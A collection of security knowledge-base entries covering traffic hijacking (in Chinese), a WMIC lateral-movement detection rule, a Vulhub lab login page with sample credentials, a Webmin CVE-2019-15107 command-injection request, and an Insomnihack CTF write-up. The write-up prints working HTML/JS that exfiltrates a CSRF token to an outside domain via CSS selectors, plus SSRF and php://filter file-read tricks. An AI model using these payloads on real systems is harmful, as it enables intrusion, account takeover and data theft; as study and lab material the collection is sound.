> 很多用户默认路由器的默认密码,攻击者可以侵入到路由管理员账号中,修改路由器的默认配置
>
> **3.攻击DNS服务器**
>
> 直接攻击DNS服务器,例如对DNS服务器进行DDOS攻击,可以是DNS服务器宕机,出现异常请求,还可以利用某些手段感染dns服务器的缓存,使给用户返回来的是恶意的ip地址
>
> 作者:Luxm
> 链接:https://juejin.im/post/5cff858a6fb9a07ed84238ec
> 来源:掘金
> 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
### 防护手段
> **1.加强本地计算机病毒检查,开启防火墙等,防止恶意软件,木马病毒感染计算机**
>
> **2.改变路由器默认密码,防止攻击者修改路由器的DNS配置指向恶意的DNS服务器**
>
> **3.企业的话可以准备两个以上的域名,一旦一个域名挂掉,还可以使用另一个**
>
> **4.用HTTP DNS 代替 Local DNS**
>
>
> 作者:Luxm
> 链接:https://juejin.im/post/5cff858a6fb9a07ed84238ec
> 来源:掘金
> 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
## 2. HTTP劫持
### 定义
> HTTP劫持是你去机场途中,有人给你塞小广告。
## 3. 证书劫持
HTTPS劫持,长以中间人攻击的形式存在。
比如去年“哈萨克斯坦政府实施的电信级HTTPS劫持”过程中,就是哈政府要求公民安装
## 4. 链路劫持
链路(Data Link)劫持
### 定义
> TCP链路劫持其实就是指网络链路上侦听、伪造TCP包,达到控制目标网络链路的行为。最常见的就是某些设备实现的对非法站点的访问拦截,以及一些地区运营商的网页植入广告行为。

### 判断方法
1. 应用层(e.g. BurpSuite)抓包,观察返回包的信息,受否有返回包的痕迹
2. 网络层(e.g. WireShark)抓包,分析HTTP/HTTPS的响应包是否有异常的
3. 分析HTTP、HTTPS包的TTL值
- 在使用HTTPS的网站中,一般来说,在时间接近的情况下,连接相同的目标IP,数据包在链路上的路径是是近似的,相差在2、3左右
- 可以根据时间排序,寻找TTL显著大的包,如果存在明显异常TTL的包,可以初步确定存在链路劫持
4. 分析包内容的Identification字段是否存在异常
- 该字段主要用于[IP分片](https://blog.csdn.net/m0_37962600/article/details/80039349) [3]
- 数据链路层具有最大传输单元MTU这个特性,它限制了数据帧(fragment)的最大长度。因此,通常要传输的IP报文大小超过最大传输单位(MTU)时,就会产生IP分片的情况,IP分片经常发生在网络环境中
- IP首部包含的分片、重组信息:`| Identification |R|DF|MF| Fragment Offset |`
- 注意其中的Identification。发送端发送的IP数据包标识字段都是一个单一值,该值在分片时被复制到每个片中。具有同一个ID的IP分片将会重新组装。
- 之所以引入这个概念,是因为在被劫持的情况下,IPID可能也会存在异常情况。比如在近期的GitHub HTTPS证书劫持事件,我们发现:“被劫持的会话数据包(https)全部回包的IPID都是0. 正常数据包(http)首次回包IPID是0,之后的回包就不是了”[1]
- 这种与正常数据包(确定的)异样的情况,也可以帮助我们判断是否在链路存在劫持
### 案例
- 一些网站https证书出现问题的情况分析(3/26 GitHub证书劫持事件)
- 文章:[Link](https://blog.netlab.360.com/ongoing-websites-hijacking/)
- 某电商网站流量劫持案例分析与思考(来自腾讯SRC)
- 文章:[Link](https://security.tencent.com/index.php/blog/msg/81)
## 6. 运营商劫持
### 攻击方法
- DNS劫持
- HTTP劫持
- HTTPS劫持
> 运营商比较常见的作恶方式有三种,分别是DNS劫持、HTTP劫持、HTTPS劫持:
>
> DNS劫持:这种劫持会把你重新定位到其它网站,我们所熟悉的钓鱼网站就是这个原理。但是因为它的违法性,现在被严厉的监管起来,已经很少见。
>
> HTTP劫持:虽然DNS劫持已经被监管了起来,但是还有HTTP劫持啊!你DNS解析的域名的IP地址不变,当运营商发现你的是HTTP请求时,就会在里面插入一些奇奇怪怪的广告(比如一些banner、浮标、更有甚把你你的商品位给劫持了 WTF...)并且这种现象十分常见,不信你可以试着随便打开一个网页,仔细看看你就会发现一些小尾巴,这就是被HTTP劫持了。
>
> HTTPS劫持:安全的超文本传输协议,数据加密这也能劫持?答案是肯定的!该劫持方式有两种:
>
> 1. 伪造证书,通过病毒或者其他方式将伪造证书的根证书安装在用户系统中(较少)
> 2. 代理也有客户的证书与私钥,或者客户端与代理认证的时候不校验合法性,即可通过代理来与我们服务端进行数据交互(较多)
>
>作者:Eddiezsl
> 链接:https://juejin.im/post/5bea7eb4f265da612859a9e4
> 来源:掘金
> 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
### 防护手段
主要是“防script、iframe注入型劫持,95%以上是这种劫持方式,因为DNS劫持被严管了” [4]
### 运营商流量劫持骗局
众所周知,运营商掌握着大量的用户数据,且这些数据的量可以做到精准推广,因此对于灰黑产这些流量驱动型产业来说,是很好的资源。
在TG上也有许多推广劫持量的骗局。大多声称“运营商的代理商“,要求先开户后跑流量,一般不做免费测试。一般来说,这些测试的流量数据会很好看,但注册后二次访问少、跳出率高,可以初步判断为伪造流量。
这种情况在做劫持流量推广上并不少见,从执法角度,这些骗子代理商所掌握的下游项目信息也是非常多的,打击此类骗局或许可以起到牵一发而动全身的效果。
## 7. CDN缓存污染
### 定义
- 补充
- CDN:CDN加速技术本质上是一种良性的DNS劫持,通过DNS引导将用户对服务器上的js、图片等不经常变化的静态资源的请求引导到最近的服务器上,从而加速网络访问。
### 案例
- 百度网盟CDN缓存服务器中的关键JS文件被污染注入广告代码
- 参考:[Link](https://paper.seebug.org/181/#246-cdn)
## 8. 软件升级劫持
这种攻击类型比较特殊,攻击方式很广,不太容易归为一种链路劫持获运营商劫持,特此单列。
### 定义
往往是在劫持了某个正规软件的升级程序后,在用户更新软件时感染病毒。
### 案例
- 乌克兰 Petya勒索病毒变种
- 参考:[Link](https://s.tencent.com/research/report/266.html)
- 爱奇艺客户端升级程序被劫持
- 参考:[Link](https://www.easyaq.com/news/675361761.shtml)
## Addition
### OSI七层模型
经常会用到,但总会忘记,有些基础的,一定要记住。

## Reference
[1] 你需要知道的“DNS劫持”--web安全篇(1), https://juejin.im/post/5cff858a6fb9a07ed84238ec
[2] 链路劫持攻击一二三, https://security.tencent.com/index.php/blog/msg/10
[3] 浅谈IP分片的大小及其原因,https://blog.csdn.net/m0_37962600/article/details/80039349
[4] 干货!防运营商劫持, https://juejin.im/post/5bea7eb4f265da612859a9e4
[5] 互联网黑势力之流量劫持,https://paper.seebug.org/181/#146
|
sec-knowleage
|
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!DOCTYPE HTML>
<html>
<head>
<title>Getting Started: Serving Web Content</title>
<!--/*/ <th:block th:include="fragments/head :: head"/> /*/-->
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-4 col-md-offset-4">
<p>Here are a few sample accounts to play with from the text-based Realm</p>
<table class="table">
<thead>
<tr>
<th>Username</th>
<th>Password</th>
<th>Roles</th>
</tr>
</thead>
<tbody>
<tr>
<td>admin</td>
<td>vulhub</td>
<td>admin</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="row">
<div class="col-md-4 col-md-offset-4">
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Login</h3>
</div>
<div class="panel-body">
<form name="loginform" action="" method="POST" accept-charset="UTF-8" role="form">
<fieldset>
<div class="form-group">
<input class="form-control" placeholder="Username or Email" name="username" type="text"/>
</div>
<div class="form-group">
<input class="form-control" placeholder="Password" name="password" type="password" value=""/>
</div>
<input class="btn btn-lg btn-success btn-block" type="submit" value="Login"/>
</fieldset>
</form>
</div>
</div>
</div>
</div>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://code.jquery.com/jquery.js"></script>
<script src="//netdna.bootstrapcdn.com/bootstrap/3.0.2/js/bootstrap.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
</body>
</html>
|
sec-knowleage
|
# T1047-win-通过WMIC创建远程进程
## 来自ATT&CK的描述
Windows管理规范(WMI)是Windows管理功能,它为本地和远程访问Windows系统组件提供了统一的环境。它依靠WMI服务进行本地和远程访问,并依靠服务器消息块(SMB)和远程过程调用服务(RPCS)进行远程访问。RPCS通过端口135运行。
攻击者可以使用WMI与本地和远程系统进行交互,并将其用作执行许多战术功能的手段,例如收集信息以进行发现和远程执行文件(作为横向移动的一部分)。
## 测试案例
攻击者可以使用Windows Management Instrumentation(WMI)通过远程启动可执行文件来横向移动。本案例描述了如何使用网络流量监视和目标主机上的进程监视来检测这些进程。但是,如果在源主机上使用了命令行实用程序wmic.exe,则可以在分析中另外检测到它。源主机上的命令行被构建为类似wmic.exe /node:"\<hostname\>" process call create "\<command line\>"。也可以通过IP地址进行连接,在这种情况下,字符串"\<hostname\>"修改为IP地址。
## 检测日志
windows安全日志
## 测试复现
源主机执行:wmic.exe /node:"\<hostname\>" process

## 测试留痕
事件ID,进程命令行参数,进程名称
## 检测规则/思路
```yml
title: 通过wmic创建远程进程
description: windows server 2016
status: experimental
author: 12306Bro
logsource:
product: windows
service: system
detection:
selection:
EventID: 4688 #进程创建
Newprocessname: 'C:\Windows\System32\wbem\WMIC.exe' #新进程名称
Creatorprocessname: 'C:\Windows\System32\cmd.exe' #创建者进程名称
Processcommandline: 'wmic.exe /node:* process *' #进程命令行
condition: selection
level: medium
```
## 参考推荐
MITRE-ATT&CK-T1047
<https://attack.mitre.org/techniques/T1047/>
CAR-2016-03-002通过WMIC创建远程进程
<https://car.mitre.org/analytics/CAR-2016-03-002/>
wmic命令收集与整理
<https://blog.csdn.net/qq_20307987/article/details/7322203>
wmic内网使用
<https://www.cnblogs.com/0xdd/p/11393392.html>
|
sec-knowleage
|
# Webmin Pre-Auth Remote Code Execution (CVE-2019-15107)
[中文版本(Chinese version)](README.zh-cn.md)
Webmin is a web-based system configuration tool for Unix-like systems. The vulnerability exists in the password reset page, which allows unauthenticated users to execute arbitrary commands through a simple POST request.
Referrers:
- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
- https://www.exploit-db.com/exploits/47230
- https://blog.firosolutions.com/exploits/webmin/
## Start Vulnerability Application
Start a vulnerable Webmin 1.910 through following command:
```
docker compose up -d
```
After the environment is started, you can see the login page of Webmin at `https://your-ip:10000`.
## Vulnerability Reproduce
The payload of the reference links is incomplete. After reading the code in depth, I found that command can be executed only if the user parameter of the body doesn't exist before 1.920, upon 1.920, no limit.
In short, sending a following POST request to execute command `id`:
```
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
```

|
sec-knowleage
|
# Cool Storage Service (Web, 357p, 7 solved)
[PL](#pl-version)
In the task we get access to a simple PHP-based file storage service.
Initial setup seems like a classic XSS task, since we can provide admin with a link and he will visit it.
However it seems we can provide only a link to this storage service, and the CSP header is:
`Content-Security-Policy: default-src 'none'; style-src 'self'; img-src data: http:`
This means we can't execute any JS, styles can be loaded only from the same domain and pictures can be loaded from data or from external server.
We can use this service to store files, however `php, php3...` etc. extensions are blacklisted.
The service claims that we can upload only pictures, but in reality the checks are not very strict, so for example prefix `GIF` can fool it, same as prepending PNG header.
Once the file is uploaded we can view it, but it's loaded as `data` in base64 form.
We can trigger an error by trying to view non-existing file, and this will tell us that our sandbox is at `/uploads/sha256(our_login)`, but when we try to access the file directly via `http://css.teaser.insomnihack.ch/uploads/...` we get `Direct access to uploaded files is only allowed from localhost`.
This means that even if we could upload a `.php` file, we would probably not be able to execute it.
In some places on the page we get `echo` on our inputs.
For example searching for some filename, we get `Search results for : our text`.
In most places html entities are escaped, but there are a couple of places where it's not the case:
- In `view file` the filename is not escaped, so we can inject html there
- In `user profile` inputs are not escaped and we can inject html there as well
- In `login` screen there is a hidden input `redirect`, which is not escaped

To wrap up what we already have:
- CSP allows to load styles from the same domain
- We can echo any input we want on the page
- We can inject html tags
- CSP allows to load images from external server
This leads us to the first piece of the puzzle - we can inject html tag `<link rel="stylesheet" href="something"/>` tag in order to load css of our choosing.
The `something` has to be a link to the page which echos our payload, for example:
`http:\\css.teaser.insomnihack.ch\index.php?search=%0a%7B%7D%20body%20%7B%20background-color%3A%20lightblue%3B%20%7D%0a&page=search&.css`
which prints out `Search results for : {} body { background-color: lightblue; }`
Chaining the two in the form of: `http://css.teaser.insomnihack.ch/index.php?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22http%3A%5C%5Ccss.teaser.insomnihack.ch%5Cindex.php%3Fsearch%3D%250a%257B%257D%2520body%2520%257B%2520background-color%253A%2520lightblue%253B%2520%257D%250a%26page%3Dsearch%26.css`
Shows us a nice blue page, as expected.
We can now use CSS selectors to exflitrate data from the page!
By creating style with entries in the form:
`input[value^="a" i]{background: url('http://url.we.own/a')`
We can listen for hits on the provided url, and this way we can check if the first letter of `value` attribute of `input` tags on the page is `a`.
There are some issues here:
- The only thing we can really `steal` is CSRF token.
- We can steal data only letter-by-letter. We need to steal first letter in order to prepare new CSS selectors for the second letter.
- It seems the token changes every time we send link to the admin, so we would need to extract the whole token in one go.
- Even if we get the CSRF token, we still can't run any JS, so we can't send any POST request as admin.
Initially we thought that only links to the page `http://css.teaser.insomnihack.ch` can be sent to admin, but it turned out that it was not the case.
In reality there was only a check for the `prefix` of URL, not a real domain check.
This means we could register `http://css.teaser.insomnihack.ch.our.cool.domain` and admin would visit this link just fine.
This solves the issue with sending a POST request, since we can now lure admin into our own page and send request from there.
It also solves the issue of stealing whole CSRF token, because we can now dynamically generate iframes with CSS selectors for consecutive letters.
We create iframe with selectors for first letter, grab the matching letter from our `backend` (listening for hits from CSS), and create another iframe with selectors for two letters using known prefix etc.
Once we have full token we can finally send a POST a admin.
- We were using domain `http://css.teaser.insomnihack.ch.nazywam.p4.team`.
- Endpoint `http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token` was simply blocking until a hit from CSS was done, and then it would return the matching letter.
```html
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
var token = '';
function gen_src()
{
src = 'http://css.teaser.insomnihack.ch/?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22?page=search%26search=%25%250a{}%250a'
chars = "0123456789abcdef"
for(c = 0; c < 16; c++)
src += 'input[value^=%27'+token+chars[c]+'%27%20i]{background:url(%27http:%252f%252fcss.teaser.insomnihack.ch.nazywam.p4.team%252fsave%252f'+chars[c]+'%27);}%250a'
document.getElementById('ramek').src = src;
console.log(src);
$.ajax({
type: "GET",
url: "http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token",
//async: false,
success: function (data) {
console.log(data);
token += data;
if(token.length < 32)
{
gen_src();
}
else
{
console.log(token);
document.getElementById('csrf').value=token;
document.getElementById('form').submit();
}
}
});
}
</script>
</head>
<body onload="gen_src()">
<iframe id="ramek"></iframe>
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST" id="form">
<input type="text" name="name" value="p4"/>
<input type="text" name="age" value="31337"/>
<input type="text" name="country" value="p4"/>
<input type="text" name="email" value="EMAIL_WE_CONTROL"/>
<input type="hidden" name="csrf" value="" id="csrf"/>
<input type="hidden" name="change" value="Modify profile"/>
</tr>
</form>
</body>
</html>
```
The best place to use the POST ability was the user profile page, because we can modify the user email there.
It's useful, because there was `forgot password` option in the application, and it would send password reset link to email in the profile.
This way we managed to reset admin password and login to the application as admin.
There is a single new option which is now available for us - fetch:

We can now provide URL and it seems the system downloads the designated image, so we have some kind of potential SSRF.
There is some protection against using localhost, 127.0.0.1 or internal relative path, but it can be bypassed using php wrappers or `localtest.me` domain, so we can "download" local files and also files in `uploads/`.
The intended way to solve the task was to upload `.pht` file with PHP shell and some `GIF` prefix to fool the parser into thinking it's a picture, and then execute this file using the `fetch` function.
Unfortunately we missed the `.pht` extension trick (although we tried almost all others), and our solution was a bit different.
We noticed that we could `fetch` the flag by using some php filter like `php://filter/read=convert.base64-encode/resource=/flag`, but we get `Not an image` error.
We already know that we could "fool" the parser by using prefix `GIF` at the beginning of the file.
We know that flag starts with `INS{`, what if we could chain a lot of encoders to turn this prefix into `GIF`?
We accidentally found even a simpler way - it turns out the parser would not complain if the payload has a nullbyte at the beginning, so instead of `GIF` prefix we wanted to get a nullbyte.
We run a simple brute-forcing loop which was randomly picking an encoder and attaching it to the chain and testing the output.
After a while we got: `php://filter/read=convert.base64-encode|convert.base64-encode|string.tolower|string.rot13|convert.base64-encode|string.tolower|string.toupper|convert.base64-decode/resource=/flag`
which for our example flag would give output accepted by the page as "image", and it turned out the website accepted this as well and gave us the base64 version of the result:
`ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==`
Now the last part was to decode this back to a flag.
We can't simply invert it, because of the `tolower` and `toupper` conversions which are ambigious, but we figured we can try to brute-force it going forward from the known `INS{` prefix.
We can attach a new letter, encode this and check how much of this result matches the expected payload.
We can do this recursively:
```python
import string
s = "ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==".decode("base64")
def enc(f):
f = f.encode("base64")
f = f.encode("base64")
f = f.lower()
f = f.encode("rot13")
f = f.encode("base64")
f = f.upper()
f = f.decode("base64")
return f
def brute(flg, score):
print(flg, score)
for c in string.letters + string.digits + "{}_":
m = get_score(flg + c)
if m > score:
brute(flg + c, m)
def get_score(flg):
f = enc(flg)
m = -1
for i in range(len(f)):
if f[:i] == s[:i]:
m = i
return m
def main():
flag = "INS{"
score = get_score(flag)
brute(flag, score)
main()
```
It doesn't work perfectly, but gives us best solutions as:
```
('INS{SoManyRebflawsCantbegoodfoq9ou}0', 63)
('INS{SoManyRebflawsCantbegoodfoq9ou}1', 63)
('INS{SoManyRebflawsCantbegoodfoq9ou}2', 63)
('INS{SoManyRebflawsCantbegoodfoq9ou}3', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}0', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}1', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}2', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}3', 63)
```
It might be that adding a certain letter doesn't immediately raise the score, so we don't follow this path, but from here we can already guess the flag to be `INS{SoManyWebflawsCantbegoodforyou}`.
### PL version
W zadaniu dostajemy dostęp do prostej aplikacji do przechowywania plików napisanej w PHP.
Początkowy setup wygląda na klasyczne zadanie z zakresu XSS, ponieważ możemy wysłać adminowi link który zostanie odwiedzony.
Niemniej wygląda na to, że możemy podać jedynie link do tejże aplikacji, a dodatkowo header CSP to:
`Content-Security-Policy: default-src 'none'; style-src 'self'; img-src data: http:`
Co oznacza, że nie możemy wykonać żadnego JSa, style mogą być ładowane tylko z tej samej domeny a obrazki ładowane jako data albo z zewnętrznego serwera.
Możemy uploadować w serwisie pliki, ale rozszerzenia `php, php3...` itd są blacklistowane.
Serwer informuje, że można uploadować tylko obrazki, ale w rzeczywistości można to dość prosto obejść dodając prefix `GIF` do pliku lub dołączając na początek nagłówek PNG.
Kiedy już uploadujemy plik możemy go zobaczyć, ale jest ładowany przez `data` w postaci base64.
Możemy wywołać błąd, próbując otworzyć nieistniejący plik i to mówi nam że sandbox jest pod `/uploads/sha256(nasz_login)`, ale jeśli spróbujemy dostać się do plików bezpośrednio przez url `http://css.teaser.insomnihack.ch/uploads/...` dostajemy informacje `Direct access to uploaded files is only allowed from localhost`.
To oznacza, że nawet gdybyśmy mogli umieścić tam plik `.php`, nie mielibyśmy jak go wykonać.
W niektórych miejscach na stronie dostajemy `echo` z naszego inputu.
Na przykład wyszukiwarka plików zwraca tekst `Search results for : to co wpisaliśmy`.
W większości miejsc tagi html są escapowane, ale jest kilka miejsc gdzie nie ma to miejsca:
- W `view file` nazwa pliku pozwala na przemycenie html
- W `user profile` pola w formularzu także pozwalają na wstrzyknięcie html
- W `login` jest ukryte pole `redirect`, które także pozwala na umieszczenie html

Podsumowując, na tą chwilę mamy:
- CSP pozwala załadować style z tej samej domeny
- Możemy na stronie wyświetlić dowolny tekst
- Możemy wstrzyknąć tagi html
- CSP pozwala na ładowanie obrazków z zewnętrznego serwera
To prowadzi nas do pierwszego fragmentu rozwiązania - możemy wstrzyknąć tag `<link rel="stylesheet" href="COŚ"/>` aby załadować styl css wybrany przez nas.
W tym przypadku `COŚ` musi być linkiem do podstrony która wypisuje nasz styl, na przykład:
`http:\\css.teaser.insomnihack.ch\index.php?search=%0a%7B%7D%20body%20%7B%20background-color%3A%20lightblue%3B%20%7D%0a&page=search&.css`
Które wypisuje: `Search results for : {} body { background-color: lightblue; }`
Łącząc oba mamy: `http://css.teaser.insomnihack.ch/index.php?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22http%3A%5C%5Ccss.teaser.insomnihack.ch%5Cindex.php%3Fsearch%3D%250a%257B%257D%2520body%2520%257B%2520background-color%253A%2520lightblue%253B%2520%257D%250a%26page%3Dsearch%26.css`
Co daje nam niebieskie tło ma stronie, czego oczekiwaliśmy.
Warto rozumieć, ze ładujemy cały html strony jako styl, ale parser CSS pomija błędne dyrektywy.
Możemy teraz użyć selektorów CSS aby pobrać dane ze strony.
Możemy utworzyć w stylu wpisy:
`input[value^="a" i]{background: url('http://url.we.own/a')`
Teraz nasłuchując na requesty HTTP do podanego urla możemy sprawdzić czy atrybut `value` pól `input` na stronie zaczyna się od litery `a`.
Jest tu kilka problemów:
- Jedyne co możemy ukraść to token CSRF
- Możemy pobierać dane jedynie litera po literze. Potrzebujemy znać pierwszą literę żeby przygotować nowe selektory CSS do wyciągnięcia drugiej litery itd.
- Wygląda na to, że token zmienia za każdym razem kiedy wysyłamy link do admina, więc token trzeba pobrać na raz.
- Nawet jeśli dostaniemy token CSRF, to nadal nie możemy uruchomić żadnego skryptu JS, więc nie mamy jak wysłać żądania POST.
Początkowo myśleliśmy że admin wchodzi tylko pod linki z domeny `http://css.teaser.insomnihack.ch`, ale w rzeczywistości okazało się, że to nie do końca prawda i sprawdzany jest jedynie `prefix` adresu a nie domena.
Oznacza to, że możemy zarejestrować sobie `http://css.teaser.insomnihack.ch.our.cool.domain` i admin wejdzie na nasz link.
To rozwiązuje zagadkę wysyłania żądania POST, ponieważ możemy zwabić admina na naszą własną stronę i wysłać request stamtąd.
Rozwiązuje to też problem pobrania tokenu CSRF, bo możemy na naszej stronie dynamicznie generować iframe z selektorami CSS dla kolejnych liter.
Tworzymy iframe dla pierwszej literki, pobieramy pasującą literę z `backendo` (który nasłuchuje na requesty z CSS), następnie tworzymy nowy iframe z selektorami dla dwóch liter ze znanym prefixem itd.
Po pobraniu całego tokenu możemy wysłać POST jako admin.
- Używamy domeny `http://css.teaser.insomnihack.ch.nazywam.p4.team`.
- Adres `http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token` blokuje aż nie dostaniemy requestu z CSS, wtedy zwraca pasującą literę
```html
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
var token = '';
function gen_src()
{
src = 'http://css.teaser.insomnihack.ch/?page=login&redirect=%22%3E%3Clink%20rel=%22stylesheet%22%20href=%22?page=search%26search=%25%250a{}%250a'
chars = "0123456789abcdef"
for(c = 0; c < 16; c++)
src += 'input[value^=%27'+token+chars[c]+'%27%20i]{background:url(%27http:%252f%252fcss.teaser.insomnihack.ch.nazywam.p4.team%252fsave%252f'+chars[c]+'%27);}%250a'
document.getElementById('ramek').src = src;
console.log(src);
$.ajax({
type: "GET",
url: "http://css.teaser.insomnihack.ch.nazywam.p4.team/get_token",
//async: false,
success: function (data) {
console.log(data);
token += data;
if(token.length < 32)
{
gen_src();
}
else
{
console.log(token);
document.getElementById('csrf').value=token;
document.getElementById('form').submit();
}
}
});
}
</script>
</head>
<body onload="gen_src()">
<iframe id="ramek"></iframe>
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST" id="form">
<input type="text" name="name" value="p4"/>
<input type="text" name="age" value="31337"/>
<input type="text" name="country" value="p4"/>
<input type="text" name="email" value="EMAIL_WE_CONTROL"/>
<input type="hidden" name="csrf" value="" id="csrf"/>
<input type="hidden" name="change" value="Modify profile"/>
</tr>
</form>
</body>
</html>
```
Najlepsze miejsce na wykorzystanie naszego POSTa to zmiana danych w profilu użytkownika, bo możemy zmienić tam email.
Jest to o tyle użyteczne, że istnieje opcja `zapomniałem hasła`, która wysyła link z resetem hasła na email z profilu.
W ten sposób udaje nam się zresetować hasło admina i zalogować do aplikacji na jego konto.
Pojawia się jedna nowa opcja - fetch:

Możemy podać URL i wygląda na to, że system ściąga obrazek z podanego adresu, więc mamy potencjalnie atak SSRF.
Jest zabezpieczenie przez podaniem adresów localhost, 127.0.0.1 oraz wewnętrznych ścieżek względnych, ale możemy obejść to przez wrappery php albo `localtest.me`, więc możemy ściągać także lokalne pliki z `uploads/`.
Oczekiwane rozwiązanie zakładało, że uploadujemy plik `.pht` z kodem PHP i jakiś prefixem `GIF` żeby oszukać parser obrazków, a następnie wykonamy ten plik za pomocą funkcji `fetch`.
Niestety przeoczyliśmy rozszerzenie `.pht` (niemniej testowaliśmy chyba wszystkie inne możliwości) i nasze rozwiązanie jest nieco inne.
Zauważyliśmy, że możemy wykonać `fetch` na fladze przez jakiś filtr np. `php://filter/read=convert.base64-encode/resource=/flag` ale dostajemy błąd `Not an image`.
Wiemy, że parser obrazków można oszukać przez zwykłe `GIF` na początku pliku.
Wiemy, że flaga zaczyna się od `INS{`, więc czy może jesteśmy w stanie tak poskładać ze sobą encodery, żeby prefix flagi zamienić w `GIF`?
Przypadkiem w trakcie testów trafiliśmy na jeszcze łatwiejsze rozwiązanie - okazało się, że jeśli parser napotkał na początku na nullbyte to też przepuszczał taki plik, więc zamiast szukać `GIF` szukaliśmy nullbyte.
Puściliśmy prostu brute-forcer, który testował różne losowe złożenia encoderów i testował wynik z naszej przykładowej flagi.
Po jakiś czasie dostaliśmy:
`php://filter/read=convert.base64-encode|convert.base64-encode|string.tolower|string.rot13|convert.base64-encode|string.tolower|string.toupper|convert.base64-decode/resource=/flag`
co dla naszej przykładowej flagi dało wynik akceptowany przez stronę jako "obrazek" i okazało się, że to samo ma miejsce dla prawdziwej flagi, więc dostaliśmy base64 z wyniku kodowania:
`ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==`
Ostatni krok to zdekodowanie tego znów do czytelnej flagi.
Nie możemy po prostu odwrócić kodowania, bo mamy tam `tolower` oraz `toupper`, które są niejednoznaczne, ale wpadliśmy na pomysł, żeby brute-forceować to w przód, od znanego prefixu `INS{`.
Dodajemy nowy znak, kodujemy i porównujemy ile z prefixu pasuje do oczekiwanego wyniku.
Możemy to zrobić rekurencyjnie:
```python
import string
s = "ADFOMWL0AGTNYW1OATBTMW1PBXHVC3LNAMFHBWP0ZTZOZ3D0CWPLDWZ6A256D3KYANHXBNF6YWHVDW14ANFVEQ==".decode("base64")
def enc(f):
f = f.encode("base64")
f = f.encode("base64")
f = f.lower()
f = f.encode("rot13")
f = f.encode("base64")
f = f.upper()
f = f.decode("base64")
return f
def brute(flg, score):
print(flg, score)
for c in string.letters + string.digits + "{}_":
m = get_score(flg + c)
if m > score:
brute(flg + c, m)
def get_score(flg):
f = enc(flg)
m = -1
for i in range(len(f)):
if f[:i] == s[:i]:
m = i
return m
def main():
flag = "INS{"
score = get_score(flag)
brute(flag, score)
main()
```
Nie działa to idealnie, ale dostajemy najlepsze rozwiązania jako:
```
('INS{SoManyRebflawsCantbegoodfoq9ou}0', 63)
('INS{SoManyRebflawsCantbegoodfoq9ou}1', 63)
('INS{SoManyRebflawsCantbegoodfoq9ou}2', 63)
('INS{SoManyRebflawsCantbegoodfoq9ou}3', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}0', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}1', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}2', 63)
('INS{SoManyWebflawsCantbegoodfoq9ou}3', 63)
```
Czasem może tak być, że dodanie poprawnej literki nie daje nam przyrostu pasującego prefixu, więc nie wchodzimy tam głębiej w rekurencje, ale stąd możemy już ręcznie poprawić flagę do: `INS{SoManyWebflawsCantbegoodforyou}`.
|
sec-knowleage
|
# Full compromise, RE, 250pts
> An attacker managed to hack our CI server and sign+encrypt his malicious code in a ECU firmware, that is now running in millions of cars and doing Chaos knows what. To stop the attackers, we must know what the malicious code is doing. We have a history of all binaries signed by the server on the day of the hack, and a device running the attacker's firmware. Help us find which sample was provided by the attacker and get access to its management interface.
In this task, we got 1000 samples of unencrypted binaries, and one
